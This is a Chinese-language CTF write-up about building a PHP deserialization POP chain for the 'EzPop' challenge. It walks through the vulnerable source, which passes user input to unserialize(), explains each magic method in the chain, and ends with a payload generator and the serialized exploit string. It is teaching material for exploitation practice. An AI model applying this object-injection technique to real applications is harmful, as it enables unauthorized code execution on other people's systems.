Web - EzPop链构造

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源码

<?php
class start_gg
{public $mod1;public $mod2;public function __destruct(){$this->mod1->test1();}
}
class Call
{public $mod1;public $mod2;public function test1(){$this->mod1->test2();}
}
class funct
{public $mod1;public $mod2;public function __call($test2,$arr){$s1 = $this->mod1;$s1();}
}
class func
{public $mod1;public $mod2;public function __invoke(){$this->mod2 = "字符串拼接".$this->mod1;} 
}
class string1
{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag
{public function get_flag(){echo "flag:"."xxxxxxxxxxxx";}
}
$a = $_GET['str'];
unserialize($a);
?>

分析

class start_gg
{public $mod1;public $mod2;public function __destruct(){$this->mod1->test1();}
}

• 两个共有属性$mod1、mod2
• __destruct()在对象被销毁时触发，调用$mod1->test1()，故$this->mod1=new Call

class Call
{public $mod1;public $mod2;public function test1(){$this->mod1->test2();}
}

• 两个共有属性$mod1、mod2
• test1()调用$mod1->test2()，但并不存在这个方法，故用来触发__call()，$this->mod1=new funct

class funct
{public $mod1;public $mod2;public function __call($test2,$arr){$s1 = $this->mod1;$s1();}
}

• 两个共有属性$mod1、mod2
• __call()当调用对象中不可访问的方法时触发，它将$mod1当作函数使用，触发func::__invode()，故$this->mod1=new func

class func
{public $mod1;public $mod2;public function __invoke(){$this->mod2 = "字符串拼接".$this->mod1;} 
}

• 两个共有属性$mod1、mod2
• __invoke()在对象被当作函数调用时触发，它将$mod1当作字符串调用，故$this->mod1=new string1

class string1
{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";}
}

• 两个共有属性$str1、$str2
• __toString()在对象被当作字符串调用时触发，它调用$str1的方法，故$this->str1=new GetFlag

class GetFlag
{public function get_flag(){echo "flag:"."xxxxxxxxxxxx";}
}
$a = $_GET['str'];
unserialize($a);

• get_flag()输出flag

payload

<?php
class start_gg {public $mod1;public $mod2;
}
class Call {public $mod1;public $mod2;
}
class funct {public $mod1;public $mod2;
}
class func {public $mod1;public $mod2;
}
class string1 {public $str1;public $str2;
}
class GetFlag {}
$a = new start_gg;
$a->mod1 = new Call;
$a->mod1->mod1 = new funct;
$a->mod1->mod1->mod1 = new func;
$a->mod1->mod1->mod1->mod1 = new string1;
$a->mod1->mod1->mod1->mod1->str1 = new GetFlag;
echo serialize($a);
# O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

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